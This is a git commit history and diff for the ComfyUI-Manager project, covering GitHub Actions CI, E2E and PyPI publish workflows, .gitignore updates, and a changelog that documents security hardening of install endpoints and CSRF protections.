Dr.Lt.Data 10ff90787c Merge branch 'main' into draft-v4 2025-08-21 12:48:17 +09:00
Dr.Lt.Data 648d7e73c6 Merge branch 'main' into draft-v4 2025-08-11 12:51:34 +09:00
Christian ByrneandGitHub f599bc22d7 Merge pull request #2047 from viva-jinyi/feat/pydantic-validation-bulk-api
Add Pydantic validation to import_fail_info_bulk endpoint
2025-07-31 12:34:20 -07:00
Jin Yi 300c6e7406 feat: Add Pydantic validation to import_fail_info_bulk endpoint
- Regenerated Pydantic models from updated OpenAPI specification
- Updated import_fail_info_bulk route handler to use ImportFailInfoBulkRequest/Response models
- Replaced manual JSON validation with Pydantic model validation
- Added proper error handling with ValidationError
- Updated data_models/__init__.py to export new models

Following the process outlined in data_models/README.md for type safety and consistency.
2025-07-31 14:15:21 +09:00
Dr.Lt.Data 9c4d6a0773 Merge branch 'main' into draft-v4 2025-07-31 12:44:02 +09:00
60746c6253 [feat] Add bulk import failure info API endpoint (#2035)
* [feat] Add bulk import failure info API endpoint

- Add import_fail_info_bulk endpoint to both glob and legacy manager servers
- Supports bulk processing of cnr_ids and urls arrays in single request
- Maintains same error handling pattern as original import_fail_info API
- Reduces API calls from N to 1 for conflict detection optimization
- Validates input parameters and provides proper error responses

🤖 Generated with [Claude Code](https://claude.ai/code)

Co-Authored-By: Claude <noreply@anthropic.com>

* modified: remove manager button completely. Now, even when using the legacy UI, it must always be accessed through the menu.

* chore(api): Add temporary cache reload for import_fail_info_bulk

---------

Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: Dr.Lt.Data <dr.lt.data@gmail.com>
2025-07-30 07:57:19 +09:00
Dr.Lt.Data 121a5a1888 As a temporary measure, the new UI will use the legacy/... backend structure.
The glob/... version will be applied later after the cacheless implementation is completed.
2025-07-30 01:13:17 +09:00
Dr.Lt.Data 5316ec1b4d Merge branch 'main' into draft-v4 2025-07-29 12:18:55 +09:00
Dr.Lt.Data a2a7349ce4 Merge branch 'main' into draft-v4 2025-07-27 16:07:57 +09:00
Dr.Lt.Data 6867616973 Merge branch 'main' into draft-v4 2025-07-25 12:26:42 +09:00
Dr.Lt.Data cf8029ecd4 Merge branch 'main' into draft-v4 2025-07-24 12:41:48 +09:00
Dr.Lt.Data 59264c1fd9 Merge branch 'main' into draft-v4 2025-07-20 19:23:24 +09:00
Dr.Lt.Data 22725b0188 add missing file 2025-07-15 18:52:17 +09:00
Dr.Lt.Data a0b0c2b963 feat: initial implementation of middleware-based security policy 2025-07-12 11:31:07 +09:00
Dr.Lt.Data f4ce0fd5f1 Merge branch 'main' into draft-v4 2025-07-08 12:21:47 +09:00
Dr.Lt.Data 086040f858 bump version 2025-07-01 12:55:13 +09:00
Dr.Lt.Data adbeb527d6 added: middleware manager for security policy 2025-07-01 12:54:29 +09:00
Dr.Lt.Data 043176168d Merge branch 'main' into draft-v4 2025-07-01 12:35:39 +09:00
Dr.Lt.Data ad79a2ef45 Merge branch 'main' into draft-v4 2025-06-28 19:59:19 +09:00
Dr.Lt.Data 43041cebed modified: Do not modify generated_models.py directly; use openapi.yaml instead. 2025-06-28 07:54:17 +09:00
Dr.Lt.Data 002e549a86 modified: security policy
- Strengthened the default security policy
- Subdivided the risky levels high and middle into high+, high, middle+, and middle
- Added support for personal_cloud network mode
- Updated README.md

fixed: invalid security message
fixed: legacy - crash when security policy violation occurred

modified: default 'use_uv' is now True
2025-06-27 01:38:38 +09:00
Dr.Lt.Data 1de6f859bf Merge branch 'main' into draft-v4 2025-06-26 23:21:04 +09:00
Dr.Lt.Data 89530fc4e7 Merge branch 'main' into draft-v4 2025-06-25 12:58:50 +09:00
Dr.Lt.Data 223d6dad51 Merge branch 'main' into draft-v4 2025-06-25 00:46:12 +09:00
Christian ByrneandGitHub cb0fa5829d Merge pull request #1915 from Comfy-Org/feat/implement-batch-tracking-clean
[feat] Implement comprehensive batch tracking and OpenAPI-driven data models
2025-06-21 19:46:23 -07:00
bymyself a66f86d4af cleanup records older than 16 days 2025-06-21 16:57:54 -07:00
bymyself 35d98dcea8 add batch_id to history task items 2025-06-21 16:45:50 -07:00
bymyself 38fefde06d add embedded python to system state 2025-06-21 16:29:40 -07:00
bymyself 75ecb31f8c add frontend version to system state capture 2025-06-21 16:28:00 -07:00
bymyself 77133375ad [fix] Ensure batch history is written when queue becomes empty 2025-06-21 16:01:25 -07:00
bymyself d1ca6288a3 apply formatting 2025-06-19 16:41:16 -07:00
bymyself 624ad4cfe6 remove debug comments 2025-06-19 16:39:14 -07:00
bymyself d912fb0f8b [fix] Remove unused imports to fix Ruff linting errors 2025-06-17 15:27:21 -07:00
bymyself e8fc053a32 [fix] Update data models to Pydantic v2 syntax to fix TypeError 2025-06-17 15:12:25 -07:00
bymyself ce3b2bab39 refactor 2025-06-17 14:58:34 -07:00
bymyself 15e3699535 [cleanup] Remove outdated temp_queue_batch comment 2025-06-17 14:44:58 -07:00
bymyselfandClaude a4bf6bddbf [refactor] Use Pydantic models for query parameter validation
- Added query parameter models to OpenAPI spec for GET endpoints
- Regenerated data models to include new query param models
- Replaced manual validation with Pydantic model validation
- Removed obsolete validate_required_params helper function
- Provides better error messages and type safety for API endpoints

Co-Authored-By: Claude <noreply@anthropic.com>
2025-06-17 14:42:25 -07:00
bymyself f1b3c6b735 [refactor] Move model utility functions to model_utils module 2025-06-17 14:24:31 -07:00
bymyself e923434d08 [fix] Update client filtering to handle tuple structure in pending_tasks 2025-06-17 13:52:00 -07:00
bymyself ddc9cd0fd5 [fix] Use tuples in TaskQueue heap for proper comparison support 2025-06-17 13:42:47 -07:00
bymyselfandClaude d081db0c30 [cleanup] Remove dead code do_update_all function
- Removed do_update_all function that was never called and only returned an error
- Removed "update-all" from OperationType enum as it's no longer used
- Regenerated data models to reflect the enum change

The update_all functionality now properly creates individual update tasks through the API endpoint rather than being a single monolithic task.

Co-Authored-By: Claude <noreply@anthropic.com>
2025-06-17 13:27:51 -07:00
bymyself 14298b0859 [fix] Remove unused imports to fix linting errors 2025-06-17 13:08:52 -07:00
bymyself 03ecda3cfe [feat] Implement comprehensive system state capture for batch records 2025-06-17 13:08:35 -07:00
bymyselfandClaude 350cb767c3 [feat] Regenerate data models with enhanced ComfyUISystemState
- Add SecurityLevel and RiskLevel enums to generated models
- Enhance ComfyUISystemState with additional system information fields:
  - comfyui_root_path: ComfyUI installation directory
  - model_paths: Map of model types to configured paths
  - manager_version: ComfyUI Manager version
  - security_level: Current security configuration
  - network_mode: Network mode (online/offline/private)
  - cli_args: Selected CLI arguments
  - custom_nodes_count: Total number of custom nodes
  - failed_imports: List of failed imports
  - pip_packages: Installed pip packages

🤖 Generated with [Claude Code](https://claude.ai/code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-06-17 13:06:14 -07:00
bymyselfandClaude f450dcbb57 [feat] Add SecurityLevel and RiskLevel enums to OpenAPI schema
- Add SecurityLevel enum with strong/normal/normal-/weak values
- Add RiskLevel enum with block/high/middle values
- These will be used for security policy management

🤖 Generated with [Claude Code](https://claude.ai/code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-06-17 13:05:59 -07:00
bymyself 32e003965a fix files description in api 2025-06-17 10:36:52 -07:00
bymyself 65f0764338 fix duplicated schemas in openapi 2025-06-17 10:36:31 -07:00
bymyself 1bdb026079 explain glob vs legacy in claude memory 2025-06-17 10:36:08 -07:00
Dr.Lt.Data 7e51286313 Merge branch 'main' into draft-v4 2025-06-17 00:33:31 +09:00
bymyself c888ea6435 [fix] Reduce excessive logging output to debug level
- Convert batch tracking messages to debug level (batch start, history saved)
- Convert task processing details to debug level
- Convert cache update messages to debug level
- Replace print() with logging.debug() for task processing
- Keep user-relevant messages at info level (ComfyUI updates, installation success)
- Resolves verbose output appearing without --verbose flag
2025-06-13 20:39:18 -07:00
bymyself b089db79c5 [fix] Restore proper thread-based TaskQueue worker management
- Fix async/sync mismatch in TaskQueue worker implementation
- Use threading.Thread with asyncio.run() as originally designed
- Remove incorrect async task approach that caused blocking issues
- TaskQueue now properly manages its own thread lifecycle
- Resolves WebSocket message delivery and task processing issues
2025-06-13 20:27:41 -07:00
bymyself 7a73f5db73 [fix] Update CI to only check changed files
- Add tj-actions/changed-files to detect modified files in PR
- Only run OpenAPI validation if openapi.yaml was changed
- Only run Python linting on changed Python files (excluding legacy/)
- Remove incorrect "pip install ast" dependency
- Remove non-standard AST parsing and import checks
- Makes CI more efficient and prevents unrelated failures
2025-06-13 19:41:07 -07:00
bymyself a96e7b114e [chore] Regenerate data models after OpenAPI fixes
- Updated generated_models.py to reflect OpenAPI 3.1 nullable format changes
- Models now use Optional[type] instead of nullable: true
- All affected models regenerated with datamodel-codegen
- Syntax and linting checks pass
2025-06-13 19:41:07 -07:00
bymyself 0148b5a3cc [fix] Fix OpenAPI validation errors for CI compliance
- Convert all nullable: true to OpenAPI 3.1 format using type: [type, 'null']
- Fix invalid array schema definition in ManagerMappings using oneOf
- Add default security: [] configuration to satisfy security-defined rule
- All 41 validation errors resolved, spec now passes with 0 errors
- 141 warnings remain (mostly missing operationId and example validation)
2025-06-13 19:41:07 -07:00
bymyself 2120a0aa79 [chore] Add dist/ to gitignore to exclude build artifacts 2025-06-13 19:40:27 -07:00
bymyself 706b6d8317 [refactor] Remove legacy thread management for TaskQueue
- Add proper async worker management to TaskQueue class
- Remove redundant task_worker_thread and task_worker_lock global variables
- Replace manual threading with async task management
- Update is_processing() logic to use TaskQueue state instead of thread status
- Implement automatic worker cleanup when queue processing completes
- Simplify queue start endpoint to use TaskQueue.start_worker()
2025-06-13 19:40:27 -07:00
bymyself a59e6e176e [refactor] Remove redundant ExecutionStatus NamedTuple
- Eliminate TaskQueue.ExecutionStatus NamedTuple in favor of generated TaskExecutionStatus Pydantic model
- Remove manual conversion logic between NamedTuple and Pydantic model
- Use single source of truth for task execution status
- Clean up unused imports (Literal, NamedTuple)
- Maintain consistent data model usage throughout TaskQueue
2025-06-13 19:37:57 -07:00
bymyself 1d575fb654 [refactor] Replace non-standard OpenAPI validation with Redoc CLI
- Replace deprecated openapi-spec-validator with @redocly/cli
- Remove fragile custom regex-based route alignment script
- Use industry-standard OpenAPI validation tooling
- Switch from Python to Node.js for validation pipeline
- New validation catches 41 errors and 141 warnings that old validator missed
2025-06-13 19:37:57 -07:00
bymyself 98af8dc849 add claude memory 2025-06-13 19:37:57 -07:00
bymyself 4d89c69109 add installed packs to openapi 2025-06-13 19:37:57 -07:00
bymyself b73dc6121f refresh cache before reporting status 2025-06-13 19:37:57 -07:00
bymyself b55e1404b1 return installed pack list on status update 2025-06-13 19:37:57 -07:00
bymyself 0be0a2e6d7 migrate to data models for all routes 2025-06-13 19:37:57 -07:00
bymyself 3afafdb884 remove dist dir 2025-06-13 19:37:57 -07:00
bymyself 884b503728 [feat] Add comprehensive Pydantic validation to all API endpoints
- Updated all POST endpoints to use proper Pydantic model validation:
  - `/v2/manager/queue/task` - validates QueueTaskItem
  - `/v2/manager/queue/install_model` - validates ModelMetadata
  - `/v2/manager/queue/reinstall` - validates InstallPackParams
  - `/v2/customnode/import_fail_info` - validates cnr_id/url fields

- Added proper error handling with ValidationError for detailed error messages
- Updated TaskQueue.put() to handle both dict and Pydantic model inputs
- Added missing imports: InstallPackParams, ModelMetadata, ValidationError

Benefits:
- Early validation catches invalid data at API boundaries
- Better error messages for clients with specific validation failures
- Type safety throughout the request processing pipeline
- Consistent validation behavior across all endpoints

All ruff checks pass and validation is now enabled by default.
2025-06-13 19:37:57 -07:00
bymyself 7f1ebbe081 [cleanup] Remove completed TODO comments and fix ruff issues
- Removed completed TODO comments about code quality checks and client_id handling
- Updated comments to reflect implemented features
- Fixed ruff linting errors:
  - Removed duplicate constant definitions
  - Added missing locale import
  - Fixed unused imports
  - Moved is_local_mode logic to security_utils module
  - Added model_dir_name_map import to model_utils

All ruff checks now pass successfully.
2025-06-13 19:37:57 -07:00
bymyself c8882dcb7c [feat] Implement comprehensive batch tracking and OpenAPI-driven data models
Enhances ComfyUI Manager with robust batch execution tracking and unified data model architecture:

- Implemented automatic batch history serialization with before/after system state snapshots
- Added comprehensive state management capturing installed nodes, models, and ComfyUI version info
- Enhanced task queue with proper client ID handling and WebSocket notifications
- Migrated all data models to OpenAPI-generated Pydantic models for consistency
- Added documentation for new TaskQueue methods (done_count, total_count, finalize)
- Fixed 64 linting errors with proper imports and code cleanup

Technical improvements:
- All models now auto-generated from openapi.yaml ensuring API/implementation consistency
- Batch tracking captures complete system state at operation start and completion
- Enhanced REST endpoints with comprehensive documentation
- Removed manual model files in favor of single source of truth
- Added helper methods for system state capture and batch lifecycle management
2025-06-13 19:36:55 -07:00
bymyself 601f1bf452 [feat] Add client_id support to task queue system
- Add client_id field to QueueTaskItem and TaskHistoryItem models
- Implement client-specific WebSocket message routing
- Add client filtering to queue status and history endpoints
- Follow ComfyUI patterns for session management
- Create data_models package for better code organization
2025-06-13 19:33:05 -07:00
Dr.Lt.Data 3870abfd2d Merge branch 'main' into draft-v4 2025-06-09 12:37:10 +09:00
Dr.Lt.Data 8303e7c043 Merge branch 'main' into draft-v4
# Conflicts:
#	comfyui_manager/common/README.md
#	comfyui_manager/glob/manager_core.py
#	comfyui_manager/js/README.md
#	pyproject.toml
2025-06-01 06:23:11 +09:00
Dr.Lt.Data 35464654c1 fixed: cm_global importing error 2025-05-19 06:10:25 +09:00
Dr.Lt.Data ec9d52d482 Merge branch 'main' into draft-v4 2025-05-19 06:07:31 +09:00
Dr.Lt.Data 90ce448380 Merge branch 'main' into draft-v4 2025-05-12 12:21:18 +09:00
Dr.Lt.Data 56125839ac Merge branch 'main' into draft-v4 2025-04-29 00:30:02 +09:00
Dr.Lt.Data cd49799bed fixed: crash related to deleted CNR node after installed
modified: convert cm-cli.sh to cm-cli command
2025-04-28 00:13:31 +09:00
Dr.Lt.Data d547a05106 Merge branch 'main' into draft-v4 2025-04-27 23:17:18 +09:00
Dr.Lt.Data db0b57a14c Merge branch 'main' into draft-v4 2025-04-24 08:44:50 +09:00
Dr.Lt.Data 2048ac87a9 modified: glob.core - make default network mode as public.
Network mode does not simply determine whether the CNR cache is used. Even after switching to cacheless in the future, it will continue to be used as a policy for user environments.
2025-04-24 08:41:17 +09:00
Dr.Lt.Data 9adf6de850 fixed: missing channels.list.template
modified: /ltdrdata -> /Comfy-Org
modified: set default network as public instead of offline
2025-04-23 08:58:47 +09:00
Dr.Lt.Data 7657c7866f fixed: perform reload when starting task worker 2025-04-22 12:39:09 +09:00
Dr.Lt.Data d638f75117 modified: prevent displaying ComfyUI-Manager on list 2025-04-22 02:39:56 +09:00
Dr.Lt.Data efff6b2c18 Merge branch 'main' into draft-v4 2025-04-22 01:20:57 +09:00
Dr.Lt.Data 0c46434164 fixed: avoid except:
fixed: prestartup_script - remove useless exception handling when fallback resolving comfy_path
2025-04-21 12:42:50 +09:00
Dr.Lt.Data 0bb8947c02 Merge branch 'main' into draft-v4 2025-04-21 12:12:27 +09:00
Christian ByrneandGitHub 09e8e8798c Add is_legacy_manager_ui route from the legacy package as well (#1748)
* add `is_legacy_manager_ui` route to `legacy` package  as well

* add static
2025-04-15 18:36:38 +09:00
Christian ByrneandGitHub abfd85602e Only load legacy FE extension if --enable-manager-legacy-ui is set (#1746)
* only load JS extensions when legacy arg is set

* add `is_legacy_manager_ui` endpoint
2025-04-15 08:03:04 +09:00
Dr.Lt.Data 1816bb748e use --enable-manager-legacy-ui cli arg instead of env variable 2025-04-15 01:36:35 +09:00
Dr.Lt.Data 05ceab68f8 restructuring
the existing cache-based implementation will be retained as a fallback under legacy/..., while glob/... will be updated to a cacheless implementation.
2025-04-13 09:26:02 +09:00
Christian ByrneandGitHub 46a37907e6 add development guide (#1739) 2025-04-13 08:40:28 +09:00
Dr.Lt.Data 7fc8ba587e fixed: don't disable legacy ComfyUI-Manager unless --disable-comfyui is set 2025-04-12 21:24:29 +09:00
Dr.Lt.Data 7a35bd9d9a Merge branch 'main' into draft-v4 2025-04-12 21:22:34 +09:00
Dr.Lt.Data a76ef49d2d Merge branch 'feat/cacheless-v2' into draft-v4 2025-04-12 20:11:33 +09:00
Dr.Lt.Data bb0fcf6ea6 added: should_be_disabled function 2025-04-12 19:35:41 +09:00
Dr.Lt.Data 539e0a1534 Merge branch 'main' into draft-v4 2025-04-12 19:06:24 +09:00
Dr.Lt.Data aaae6ce304 Merge branch 'feat/queue_batch' into draft-v4 2025-04-12 19:05:48 +09:00
bymyself 3c413840d7 use parsed version and id even when no cnr map exists 2025-04-11 16:33:12 -07:00
bymyself 29ca93fcb4 fix: installed nodes should still be initialized in offline mode 2025-04-11 15:56:03 -07:00
bymyself 9dc8e630a0 fix is_legacy_front should be a function still 2025-04-10 18:24:34 -07:00
bymyself 10105ad737 if pip package, force offline mode 2025-04-10 13:09:56 -07:00
bymyself 5738ea861a don't load legacy web dir when --disable-manager arg set 2025-04-09 22:19:56 -07:00
Dr.Lt.Data dbd25b0f0a Merge branch 'main' into feat/cacheless 2025-04-10 12:20:29 +09:00
bymyself 0de9d36c28 enable legacy manager frontend during beta phase 2025-04-09 14:59:32 -07:00
bymyself 05f1a8ab0d add missing v2 prefix to customnode/installed route 2025-04-09 14:59:06 -07:00
bymyself 5ce170b7ce don't handle queue in legacy front if element is not visible 2025-04-09 14:58:39 -07:00
bymyself 2b47aad076 don't show menu buttons if past comfyui front 1.16 2025-04-09 14:58:21 -07:00
bymyself b4dc59331d fix merge conflict 2025-04-09 14:57:53 -07:00
bymyself 81e84fad78 add workflow to publish to pypi 2025-04-09 08:59:39 -07:00
Dr.Lt.Dataandbymyself 42e8a959dd Modify the structure to be installable via pip. 2025-04-09 08:59:37 -07:00
Dr.Lt.Dataandbymyself 208ca31836 support installation of system added nodepack
modified: install_by_id - Change the install path of the CNR node added by the system to be based on the repo URL instead of the CNR ID.
2025-04-09 08:57:56 -07:00
Dr.Lt.Data a128baf894 fixed: ruff check 2025-03-25 23:40:15 +09:00
Dr.Lt.Data 57b847eebf fixed: failed[..].ui_id -> failed 2025-03-24 23:12:45 +09:00
Dr.Lt.Data 149257e4f1 Merge branch 'main' into feat/queue_batch 2025-03-24 22:53:13 +09:00
Dr.Lt.Data 212b8e7ed2 feat: support task batch
POST /v2/manager/queue/batch
GET /v2/manager/queue/history_list
GET /v2/manager/queue/history?id={id}
GET /v2/manager/queue/abort_current
2025-03-24 22:49:38 +09:00
Dr.Lt.Data 01ac9c895a Modify the structure to be installable via pip. 2025-03-19 22:15:53 +09:00
Dr.Lt.Data ebcb14e6aa support installation of system added nodepack
modified: install_by_id - Change the install path of the CNR node added by the system to be based on the repo URL instead of the CNR ID.
2025-03-19 07:41:39 +09:00
177 changed files with 62519 additions and 150224 deletions
+1
View File
@@ -0,0 +1 @@
PYPI_TOKEN=your-pypi-token
+70
View File
@@ -0,0 +1,70 @@
name: CI
on:
push:
branches: [ main, feat/*, fix/* ]
pull_request:
branches: [ main ]
jobs:
validate-openapi:
name: Validate OpenAPI Specification
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Check if OpenAPI changed
id: openapi-changed
uses: tj-actions/changed-files@v44
with:
files: openapi.yaml
- name: Setup Node.js
if: steps.openapi-changed.outputs.any_changed == 'true'
uses: actions/setup-node@v4
with:
node-version: '18'
- name: Install Redoc CLI
if: steps.openapi-changed.outputs.any_changed == 'true'
run: |
npm install -g @redocly/cli
- name: Validate OpenAPI specification
if: steps.openapi-changed.outputs.any_changed == 'true'
run: |
redocly lint openapi.yaml
code-quality:
name: Code Quality Checks
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0 # Fetch all history for proper diff
- name: Get changed Python files
id: changed-py-files
uses: tj-actions/changed-files@v44
with:
files: |
**/*.py
files_ignore: |
comfyui_manager/legacy/**
- name: Setup Python
if: steps.changed-py-files.outputs.any_changed == 'true'
uses: actions/setup-python@v5
with:
python-version: '3.9'
- name: Install dependencies
if: steps.changed-py-files.outputs.any_changed == 'true'
run: |
pip install ruff
- name: Run ruff linting on changed files
if: steps.changed-py-files.outputs.any_changed == 'true'
run: |
echo "Changed files: ${{ steps.changed-py-files.outputs.all_changed_files }}"
echo "${{ steps.changed-py-files.outputs.all_changed_files }}" | xargs -r ruff check
+74
View File
@@ -0,0 +1,74 @@
name: "E2E Tests on Multiple Platforms"
on:
push:
branches: [main, feat/*, fix/*]
paths:
- "comfyui_manager/**"
- "cm_cli/**"
- "tests/e2e/**"
- ".github/workflows/e2e.yml"
pull_request:
branches: [main]
paths:
- "comfyui_manager/**"
- "cm_cli/**"
- "tests/e2e/**"
- ".github/workflows/e2e.yml"
workflow_dispatch:
permissions:
contents: read
jobs:
e2e:
name: "E2E (${{ matrix.os }}, py${{ matrix.python-version }})"
runs-on: ${{ matrix.os }}
timeout-minutes: 15
env:
PYTHONIOENCODING: "utf8"
strategy:
fail-fast: false
matrix:
os: [ubuntu-latest, windows-latest, macos-latest]
python-version: ["3.10"]
steps:
- name: Check out code
uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
- name: Install uv
uses: astral-sh/setup-uv@v4
- name: Set E2E_ROOT
shell: bash
run: |
if [[ "$RUNNER_OS" == "Windows" ]]; then
echo "E2E_ROOT=$RUNNER_TEMP\\e2e_env" >> "$GITHUB_ENV"
else
echo "E2E_ROOT=$RUNNER_TEMP/e2e_env" >> "$GITHUB_ENV"
fi
- name: Setup E2E environment
shell: bash
env:
MANAGER_ROOT: ${{ github.workspace }}
run: |
python tests/e2e/scripts/setup_e2e_env.py
- name: Run E2E tests
shell: bash
run: |
if [[ "$RUNNER_OS" == "Windows" ]]; then
VENV_PY="$E2E_ROOT/venv/Scripts/python.exe"
else
VENV_PY="$E2E_ROOT/venv/bin/python"
fi
uv pip install --python "$VENV_PY" pytest pytest-timeout
"$VENV_PY" -m pytest tests/cli/test_uv_compile.py -v -s --timeout=300
+16 -16
View File
@@ -4,7 +4,7 @@ on:
workflow_dispatch:
push:
branches:
- draft-v4
- manager-v4
paths:
- "pyproject.toml"
@@ -21,7 +21,7 @@ jobs:
- name: Set up Python
uses: actions/setup-python@v4
with:
python-version: '3.9'
python-version: '3.x'
- name: Install build dependencies
run: |
@@ -31,28 +31,28 @@ jobs:
- name: Get current version
id: current_version
run: |
CURRENT_VERSION=$(grep -oP 'version = "\K[^"]+' pyproject.toml)
CURRENT_VERSION=$(grep -oP '^version = "\K[^"]+' pyproject.toml)
echo "version=$CURRENT_VERSION" >> $GITHUB_OUTPUT
echo "Current version: $CURRENT_VERSION"
- name: Build package
run: python -m build
- name: Create GitHub Release
id: create_release
uses: softprops/action-gh-release@v2
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
files: dist/*
tag_name: v${{ steps.current_version.outputs.version }}
draft: false
prerelease: false
generate_release_notes: true
# - name: Create GitHub Release
# id: create_release
# uses: softprops/action-gh-release@v2
# env:
# GITHUB_TOKEN: ${{ github.token }}
# with:
# files: dist/*
# tag_name: v${{ steps.current_version.outputs.version }}
# draft: false
# prerelease: false
# generate_release_notes: true
- name: Publish to PyPI
uses: pypa/gh-action-pypi-publish@release/v1
uses: pypa/gh-action-pypi-publish@76f52bc884231f62b9a034ebfe128415bbaabdfc
with:
password: ${{ secrets.PYPI_TOKEN }}
skip-existing: true
verbose: true
verbose: true
-25
View File
@@ -1,25 +0,0 @@
name: Publish to Comfy registry
on:
workflow_dispatch:
push:
branches:
- main-blocked
paths:
- "pyproject.toml"
permissions:
issues: write
jobs:
publish-node:
name: Publish Custom Node to registry
runs-on: ubuntu-latest
if: ${{ github.repository_owner == 'ltdrdata' }}
steps:
- name: Check out code
uses: actions/checkout@v4
- name: Publish Custom Node
uses: Comfy-Org/publish-node-action@v1
with:
## Add your own personal access token to your Github Repository secrets and reference it here.
personal_access_token: ${{ secrets.REGISTRY_ACCESS_TOKEN }}
+9 -1
View File
@@ -17,4 +17,12 @@ github-stats-cache.json
pip_overrides.json
*.json
check2.sh
/venv/
/venv/
build
dist
*.egg-info
.env
.claude
test_venv
node_modules/
artifacts/
+165 -45
View File
@@ -1,57 +1,177 @@
# Changelog
## Unreleased
All notable changes to **ComfyUI-Manager** are documented in this file.
### Security policy: dedicated install flags (`allow_git_url_install` / `allow_pip_install`)
The format is based on [Keep a Changelog 1.1.0](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning 2.0.0](https://semver.org/spec/v2.0.0.html).
Two new boolean keys in `config.ini` (`[default]` section), both defaulting to
`false`, now govern the arbitrary-install surfaces:
## [Unreleased]
| Flag | Governs |
|------|---------|
| `allow_git_url_install` | `POST /customnode/install/git_url` and the unknown-git-URL arm of `POST /manager/queue/install` (incl. reinstall delegation) — the entire install transaction, transitive dependency pip installs included. On the batch queue path the flag applies **in addition to** the queue's `security_level` entry gate (see below) |
| `allow_pip_install` | `POST /customnode/install/pip` only |
## [4.2.2] - 2026-06-15
These surfaces additionally require a **loopback listener** (`--listen` on a
loopback IP such as `127.0.0.1` or `::1` — not a general LAN/private address);
the flags never open a non-loopback deployment. On the two
**direct** endpoints (`POST /customnode/install/git_url` and
`POST /customnode/install/pip`), the flags fully **decouple** the surface
from `security_level`: it no longer has any effect in either direction — a
strict level cannot deny them when the flag is `true`, and a weak level
cannot allow them when the flag is `false`. On the **batch queue path**
(`POST /manager/queue/install`), the flag is **necessary but not
sufficient**: it gates the unknown-git-URL arm at the risky position, while
the queue's normal `security_level` entry gate (`middle`) remains in force —
at `security_level = strong`, batch unknown-URL installs stay denied even
with the flag set to `true`. `security_level` continues to govern every
other gated endpoint unchanged. Only the case-insensitive string `true`
enables a flag; a missing or malformed key reads as `false`.
### Security
#### Migration note (no auto-seed)
- **Dedicated install flags decouple git-URL / pip installs from `security_level`**:
`POST /v2/customnode/install/git_url` and `POST /v2/customnode/install/pip`
(and the batch install path for git URLs not in the custom-node DB) are now
gated by two new `config.ini` `[default]` flags — `allow_git_url_install`
and `allow_pip_install` — instead of `security_level`. Both default to
`false` (secure by default), and a non-loopback listener stays denied unless
`network_mode = personal_cloud` (the existing network-position invariant is
retained — the flags never widen exposure beyond what was possible before).
`security_level` no longer has any effect on these two endpoints, in either
direction. The unknown-pip-package block in batch installs remains
unconditional. Activation requires a restart (no hot reload).
There is **no automatic migration** from `security_level`. Users who
previously relied on `security_level = weak` (or `normal-`) to use
install-via-git-URL / install-pip must now **opt in explicitly** by adding to
`config.ini`:
### Migration notes
```ini
[default]
allow_git_url_install = true
allow_pip_install = true
```
- **Users running `security_level = weak` or `normal-`**: these environments
could previously use the git-URL / pip install endpoints; after upgrading
they are denied (HTTP 403) until you explicitly opt in by setting
`allow_git_url_install = true` and/or `allow_pip_install = true` in the
`[default]` section of `config.ini`. The flags are NOT auto-seeded from
your `security_level` — explicit opt-in is intentional.
Changes take effect after a **restart** (no hot reload).
### Fixed
#### Residual-risk note — outdated ComfyUI behavior change
- **pygit2 fallback hardening (Desktop 2.0)**: under `CM_USE_PYGIT2=1` the
pygit2 backend ran `clone_repository` / `remote.fetch` honoring the user's
global git config, so an `insteadOf` rewrite (https→ssh) or credential
helper forced authentication and failed with *"authentication required but
no callback set"*. The system/global/XDG config search path is now blanked
at import time (hermetic libgit2 operations) and SSH-form GitHub URLs are
normalized to anonymous HTTPS on clone and when opening a repo. System
`git` is preferred when available.
- **pygit2 fallback follow-ups**: `list_remotes()` fetches now route through
`_fetch_remote` so the proxy and SSH→HTTPS rewrite apply to every fetch
entry point, with `pull` provided on the proxies via a shared
`_pull_remote` helper. `_to_https_url` now handles `ssh://git@host:port/...`
URLs (drops the custom SSH port instead of mangling it) and collapses
leading slashes; non-scp-form and port-only/IPv6 `ssh://` URLs are returned
unchanged. `clone_repo` omits the `proxy=` kwarg when no proxy is
configured (proxy-less installs keep working on pygit2 < 1.18), and pygit2
is now pinned to `>= 1.18`.
On outdated ComfyUI versions (no system-user API), the manager previously
forced `security_level = strong`, which unconditionally denied the
git-URL/pip install surfaces. After this change those surfaces are governed
by the new flags instead: an operator who explicitly sets a flag to `true`
on a **loopback** listener can now perform installs on outdated ComfyUI
where the forced-strong policy previously denied them. This is an accepted,
deliberate trade-off: it requires explicit operator opt-in, remains bounded
to loopback listeners, and the flag-deny path on outdated ComfyUI still
surfaces the `comfyui_outdated` notice. If you operate an outdated ComfyUI
deployment, leave both flags at their default `false` and update ComfyUI.
## [4.2.1] - 2026-04-22
Security-hardening release. Contains breaking-ish API changes for
state-mutating endpoints. See **Migration notes** below before upgrading
programmatic clients.
### Security
- **CSRF Content-Type gate**: 18 state-mutation POST handlers (9 in `glob`, 9 in
`legacy`) now reject the three CORS "simple request" Content-Types
(`application/x-www-form-urlencoded`, `multipart/form-data`, `text/plain`).
This closes the residual `<form method="POST">` bypass route that remained
after the GET→POST transition. Legitimate clients using `application/json`
(or no body) are unaffected.
- **`do_fix` security level raised from `high` to `high+`**: aligns the
enforcement gate (`is_allowed_security_level`) with the log text emitted by
`SECURITY_MESSAGE_HIGH_P`. Both `glob/manager_server.py` and
`legacy/manager_server.py` updated in lockstep. Environments running at
`security_level = high` can no longer fix a nodepack — use
`security_level = normal` or lower.
- **Config setters now gated at `middle` security level**:
`POST /v2/manager/db_mode`, `POST /v2/manager/policy/update`, and
`POST /v2/manager/channel_url_list` now check
`is_allowed_security_level('middle')` before mutating configuration (both
`glob` and `legacy`). Closes a pre-existing gap where the write path was
reachable at any security level. Reads (`GET`) remain unrestricted.
### Changed
- **State-changing endpoints converted from `GET` to `POST`** (CSRF hardening):
`/v2/manager/queue/{update_all, reset, start, update_comfyui}`,
`/v2/snapshot/{remove, restore, save}`,
`/v2/comfyui_manager/comfyui_switch_version`,
`/v2/manager/reboot`.
